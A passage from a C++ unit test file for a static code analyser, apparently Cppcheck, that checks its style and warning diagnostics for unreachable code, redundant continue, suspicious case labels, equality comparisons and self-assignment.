ASSERT_EQUALS(\"[test.cpp:3:3]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" virtual void foo (P & Val) throw ();\\n\"\n \" virtual void foo1 (P & Val) throw ();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" while (true) {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" do {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" } while (true);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" for (;;) {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n // #3383. TODO: Use preprocessor\n check(\"int foo() {\\n\"\n \"\\n\" // #ifdef A\n \" return 0;\\n\"\n \"\\n\" // #endif\n \" return 1;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"int foo() {\\n\"\n \"\\n\" // #ifdef A\n \" return 0;\\n\"\n \"\\n\" // #endif\n \" return 1;\\n\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style, inconclusive) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n // #4711 lambda functions\n check(\"int f() {\\n\"\n \" return g([](int x){(void)x+1; return x;});\\n\"\n \"}\",\n true,\n false,\n false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4756\n check(\"template <>\\n\"\n \"inline uint16_t htobe(uint16_t value) {\\n\"\n \" return ( __extension__ ({\\n\"\n \" register unsigned short int __v, __x = (unsigned short int) (value);\\n\"\n \" if (__builtin_constant_p (__x))\\n\"\n \" __v = ((unsigned short int) ((((__x) >> 8) & 0xff) | (((__x) & 0xff) << 8)));\\n\"\n \" else\\n\"\n \" __asm__ (\\\"rorw $8, %w0\\\" : \\\"=r\\\" (__v) : \\\"0\\\" (__x) : \\\"cc\\\");\\n\"\n \" (void)__v;\\n\"\n \" }));\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6008\n check(\"static std::function< int ( int, int ) > GetFunctor() {\\n\"\n \" return [](int a_, int b_) -> int {\\n\"\n \" int sum = a_ + b_;\\n\"\n \" return sum;\\n\"\n \" };\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5789\n check(\"struct per_state_info {\\n\"\n \" uint64_t enter, exit;\\n\"\n \" uint64_t events;\\n\"\n \" per_state_info() : enter(0), exit(0), events(0) {}\\n\"\n \"};\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6664\n check(\"void foo() {\\n\"\n \" (beat < 100) ? (void)0 : exit(0);\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" (beat < 100) ? exit(0) : (void)0;\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8261\n // TODO Do not throw AST validation exception\n TODO_ASSERT_THROW(check(\"void foo() {\\n\"\n \" (beat < 100) ? (void)0 : throw(0);\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings), InternalError);\n //ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" exit(0);\\n\"\n \" return 1;\\n\" // <- clarify for tools that function does not continue..\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum : uint8_t { A, B } var = A;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define INB(x) __extension__ ({ u_int tmp = (x); inb(tmp); })\\n\" // #4739\n \"static unsigned char cmos_hal_read(unsigned index) {\\n\"\n \" unsigned short port_0, port_1;\\n\"\n \" assert(!verify_cmos_byte_index(index));\\n\"\n \" if (index < 128) {\\n\"\n \" port_0 = 0x70;\\n\"\n \" port_1 = 0x71;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" port_0 = 0x72;\\n\"\n \" port_1 = 0x73;\\n\"\n \" }\\n\"\n \" OUTB(index, port_0);\\n\"\n \" return INB(port_1);\\n\"\n \"}\\n\", dinit(CheckPOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"[[noreturn]] void n();\\n\"\n \"void f() {\\n\"\n \" n();\\n\"\n \" g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Statements following noreturn function 'n()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" exit(1);\\n\"\n \" g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Statements following noreturn function 'exit()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" do {\\n\"\n \" break;\\n\"\n \" g();\\n\"\n \" } while (0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Statements following 'break' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #12244\n \" {\\n\"\n \" std::cout << \\\"x\\\";\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" std::cout << \\\"y\\\";\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" {\\n\"\n \" std::cout << \\\"x\\\";\\n\"\n \" exit(1);\\n\"\n \" }\\n\"\n \" std::cout << \\\"y\\\";\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following noreturn function 'exit()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #13475\n \" { return 0; };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\" // #13478\n \" int x = 0;\\n\"\n \" switch (i) {\\n\"\n \" { case 0: x = 5; break; }\\n\"\n \" { case 1: x = 7; break; }\\n\"\n \" }\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int c) {\\n\"\n \" switch (c) {\\n\"\n \" case '\\\\n':\\n\"\n \" { return 1; };\\n\"\n \" default:\\n\"\n \" { return c; };\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main(int argc, char *argv[]) {\\n\" // #11\n \" switch (argc) {\\n\"\n \" case 0: {\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\"\n \"[test.cpp:1:26]: (style) Parameter 'argv' can be declared as const array [constParameter]\\n\",\n errout_str());\n\n check(\"int f(int i) {\\n\" // #13491\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int j;\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" {\\n\"\n \" int j;\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int a[1];\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" a[0] = 5;\\n\"\n \" return a[0] + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int j;\\n\"\n \" dostuff();\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", \"\", errout_str());\n\n check(\"int f() {\\n\" // #13472\n \" int var;\\n\"\n \" auto int ret();\\n\"\n \" int ret() {\\n\"\n \" return var;\\n\"\n \" }\\n\"\n \" var = 42;\\n\"\n \" return ret();\\n\"\n \"}\\n\", /*cpp*/ false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #13516\n \" io_uring_for_each_cqe(&ring, head, cqe) {\\n\"\n \" if (cqe->res == -EOPNOTSUPP)\\n\"\n \" printf(\\\"error\\\");\\n\"\n \" goto ok;\\n\"\n \" }\\n\"\n \" usleep(10000);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantContinue() {\n check(\"void f() {\\n\" // #11195\n \" for (int i = 0; i < 10; ++i) {\\n\"\n \" printf(\\\"i = %d\\\\n\\\", i);\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) 'continue' is redundant since it is the last statement in a loop. [redundantContinue]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i = 0;\"\n \" do {\\n\"\n \" ++i;\\n\"\n \" printf(\\\"i = %d\\\\n\\\", i);\\n\"\n \" continue;\\n\"\n \" } while (i < 10);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) 'continue' is redundant since it is the last statement in a loop. [redundantContinue]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #13475\n \" { return 0; };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\" // #13478\n \" int x = 0;\\n\"\n \" switch (i) {\\n\"\n \" { case 0: x = 5; break; }\\n\"\n \" { case 1: x = 7; break; }\\n\"\n \" }\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x, int y) {\\n\" // #13544\n \" switch (x) {\\n\"\n \" case 1: {\\n\"\n \" return y != 0;\\n\"\n \" int z = y + 5;\\n\"\n \" return z != 7;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n }\n\n\n void suspiciousCase() {\n check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case A&&B:\\n\"\n \" foo();\\n\"\n \" case (A||B):\\n\"\n \" foo();\\n\"\n \" case A||B:\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (warning, inconclusive) Found suspicious case label in switch(). Operator '&&' probably doesn't work as intended. [suspiciousCase]\\n\"\n \"[test.cpp:5:16]: (warning, inconclusive) Found suspicious case label in switch(). Operator '||' probably doesn't work as intended. [suspiciousCase]\\n\"\n \"[test.cpp:7:15]: (warning, inconclusive) Found suspicious case label in switch(). Operator '||' probably doesn't work as intended. [suspiciousCase]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case 1:\\n\"\n \" a=A&&B;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO Do not throw AST validation exception\n TODO_ASSERT_THROW(check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case A&&B?B:A:\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\"), InternalError);\n //ASSERT_EQUALS(\"\", errout_str());\n }\n\n void suspiciousEqualityComparison() {\n check(\"void foo(int c) {\\n\"\n \" if (x) c == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(const int* c) {\\n\"\n \" if (x) *c == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n\n check(\"void foo(int c) {\\n\"\n \" if (c == 1) {\\n\"\n \" c = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" c == 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (int i = 0; i == 10; i ++) {\\n\"\n \" a ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 0; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 1; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 2; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (int i = 0; i < 10; i == c) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:31]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (; running == 1;) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" printf(\\\"%i\\\", ({x==0;}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int arg) {\\n\"\n \" printf(\\\"%i\\\", ({int x = do_something(); x == 0;}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" printf(\\\"%i\\\", ({x == 0; x > 0 ? 10 : 20}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (const Token* end = tok->link(); tok != end; tok = (tok == end) ? end : tok->next()) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (int i = (x == 0) ? 0 : 5; i < 10; i ++) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (int i = 0; i < 10; i += (x == 5) ? 1 : 2) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void suspiciousUnaryPlusMinus() { // #8004\n check(\"int g() { return 1; }\\n\"\n \"void f() {\\n\"\n \" +g();\\n\"\n \" -g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Found suspicious operator '+', result is not used. [constStatement]\\n\"\n \"[test.cpp:4:5]: (warning, inconclusive) Found suspicious operator '-', result is not used. [constStatement]\\n\",\n errout_str());\n\n check(\"void f(int i) {\\n\"\n \" +i;\\n\"\n \" -i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '+', result is not used. [constStatement]\\n\"\n \"[test.cpp:3:5]: (warning, inconclusive) Found suspicious operator '-', result is not used. [constStatement]\\n\",\n errout_str());\n }\n\n void suspiciousFloatingPointCast() {\n check(\"double f(double a, double b, float c) {\\n\"\n \" return a + (float)b + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"double f(double a, double b, float c) {\\n\"\n \" return a + static_cast(b) + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:34]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"long double f(long double a, long double b, float c) {\\n\"\n \" return a + (double)b + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"void g(int, double);\\n\"\n \"void h(double);\\n\"\n \"void f(double d) {\\n\"\n \" g(1, (float)d);\\n\"\n \" h((float)d);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\"\n \"[test.cpp:5:7]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\",\n errout_str());\n }\n\n void selfAssignment() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = 1;\\n\"\n \" x = x;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"struct A { int b; };\\n\"\n \"void foo(A* a1, A* a2) {\\n\"\n \" a1->b = a1->b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant assignment of 'a1->b' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"int x;\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" x = x = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n // #4073 (segmentation fault)\n check(\"void Foo::myFunc( int a )\\n\"\n \"{\\n\"\n \" if (a == 42)\\n\"\n \" a = a;\\n\"\n \"}\");\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = 1;\\n\"\n \" x = x + 1;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int *x = getx();\\n\"\n \" *x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" BAR *x = getx();\\n\"\n \" x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n // #2502 - non-primitive type -> there might be some side effects\n check(\"void foo()\\n\"\n \"{\\n\"\n \" Fred fred; fred = fred;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" x = (x == 0);\"\n \" func(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" x = (x != 0);\"\n \" func(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #3001 - false positive\n check(\"void foo(int x) {\\n\"\n \" x = x ? x : 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3800 - false negative when variable is extern\n check(\"extern int i;\\n\"\n \"void f() {\\n\"\n \" i = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style) Redundant assignment of 'i' to itself. [selfAssignment]\\n\", errout_str());\n\n // #4291 - id for variables accessed through 'this'\n check(\"class Foo {\\n\"\n \" int var;\\n\"\n \" void func();\\n\"\n \"};\\n\"\n \"void Foo::func() {\\n\"\n \" this->var = var;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Redundant assignment of 'this->var' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" int var;\\n\"\n \" void func(int var);\\n\"\n \"};\\n\"\n \"void Foo::func(int var) {\\n\"\n \" this->var = var;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6406 - designated initializer doing bogus self assignment\n check(\"struct callbacks {\\n\"\n \" void (*s)(void);\\n\"\n \"};\\n\"\n \"void something(void) {}\\n\"\n \"void f() {\\n\"\n \" struct callbacks ops = { .s = ops.s };\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (style) Redundant assignment of 'something' to itself.\\n\", \"\", errout_str());\n\n check(\"class V\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" V()\\n\"\n \" {\\n\"\n \" x = y = z = 0.0;\\n\"\n \" }\\n\"\n \" V( double x, const double y_, const double &z_)\\n\"\n \" {\\n\"\n \" x = x; y = y; z = z;\\n\"\n \" }\\n\"\n \" double x, y, z;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:10:11]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\"\n \"[test.cpp:10:18]: (style) Redundant assignment of 'y' to itself. [selfAssignment]\\n\"\n \"[test.cpp:10:25]: (style) Redundant assignment of 'z' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"void f(int i) { i = !!i; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int x = 1;\\n\"\n \" int &ref = x;\\n\"\n \" ref = x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Redundant assignment of 'ref' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"class Foo {\\n\" // #9850\n \" int i{};\\n\"\n \" void modify();\\n\"\n \" void method() {\\n\"\n \" Foo copy = *this;\\n\"\n \" modify();\\n\"\n \" *this = copy;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #11383\n \" void f() {\\n\"\n \" int x = 42;\"\n \" auto l2 = [i = i, x, y = 0]() { return i + x + y; };\\n\"\n \" }\\n\"\n \" int i;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #10337\n \" int b[2] = { 1, 2 };\\n\"\n \" int idx = 0;\\n\"\n \" int& i = b[idx];\\n\"\n \" idx++;\\n\"\n \" i = b[idx];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\" // #12390\n \"void f() {\\n\"\n \" int o = s.i;\\n\"\n \" g(&s.i);\\n\"\n \" s.i = o;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void trac1132() {\n check(\"class Lock\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" Lock(int i)\\n\"\n \" {\\n\"\n \" std::cout << \\\"Lock \\\" << i << std::endl;\\n\"\n \" }\\n\"\n \" ~Lock()\\n\"\n \" {\\n\"\n \" std::cout << \\\"~Lock\\\" << std::endl;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" Lock(123);\\n\"\n \" std::cout << \\\"hello\\\" << std::endl;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:15:5]: (style) Instance of 'Lock' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void trac3693() {\n check(\"struct A{\\n\"\n \" enum {\\n\"\n \" b = 300\\n\"\n \" };\\n\"\n \"};\\n\"\n \"const int DFLT_TIMEOUT = A::b % 1000000 ;\\n\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunction1() {\n check(\"int main ( )\\n\"\n \"{\\n\"\n \" CouldBeFunction ( 123 ) ;\\n\"\n \" return 0 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunction2() {\n check(\"struct error {\\n\"\n \" error() {}\\n\"\n \"};\\n\"\n \"\\n\"\n \"class parser {\\n\"\n \"public:\\n\"\n \" void error() const {}\\n\"\n \"\\n\"\n \" void foo() const {\\n\"\n \" error();\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectPicksClass() {\n check(\"class NotAFunction ;\\n\"\n \"int function ( )\\n\"\n \"{\\n\"\n \" NotAFunction ( 123 );\\n\"\n \" return 0 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'NotAFunction' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectPicksStruct() {\n check(\"struct NotAClass;\\n\"\n \"bool func ( )\\n\"\n \"{\\n\"\n \" NotAClass ( 123 ) ;\\n\"\n \" return true ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'NotAClass' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickIf() {\n check(\"bool func( int a , int b , int c )\\n\"\n \"{\\n\"\n \" if ( a > b ) return c == a ;\\n\"\n \" return b == a ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickConstructorDeclaration() {\n check(\"class Something : public SomethingElse\\n\"\n \"{\\n\"\n \"public:\\n\"\n \"~Something ( ) ;\\n\"\n \"Something ( ) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunctor() {\n check(\"class IncrementFunctor\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void operator()(int &i)\\n\"\n \" {\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" int a = 1;\\n\"\n \" IncrementFunctor()(a);\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickLocalClassConstructors() {\n check(\"void f() {\\n\"\n \" class Foo {\\n\"\n \" Foo() { }\\n\"\n \" Foo(int a) { }\\n\"\n \" Foo(int a, int b) { }\\n\"\n \" };\\n\"\n \" Foo();\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Instance of 'Foo' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickUsedObject() {\n check(\"struct Foo {\\n\"\n \" void bar() {\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"void fn() {\\n\"\n \" Foo().bar();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickPureC() {\n // Ticket #2352\n const char code[] = \"struct cb_watch_bool {\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" cb_watch_bool();\\n\"\n \" do_something();\\n\"\n \"}\\n\";\n\n check(code, true);\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Instance of 'cb_watch_bool' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n\n check(code, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #2639\n check(\"struct stat { int a; int b; };\\n\"\n \"void stat(const char *fn, struct stat *);\\n\"\n \"\\n\"\n \"void foo() {\\n\"\n \" stat(\\\"file.txt\\\", &st);\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\",errout_str());\n\n check(\"struct AMethodObject {\\n\" // #4336\n \" AMethodObject(double, double, double);\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" static void A(double, double, double);\\n\"\n \"};\\n\"\n \"void S::A(double const a1, double const a2, double const a3) {\\n\"\n \" AMethodObject(a1, a2, a3);\\n\"\n \"}\\n\");\n 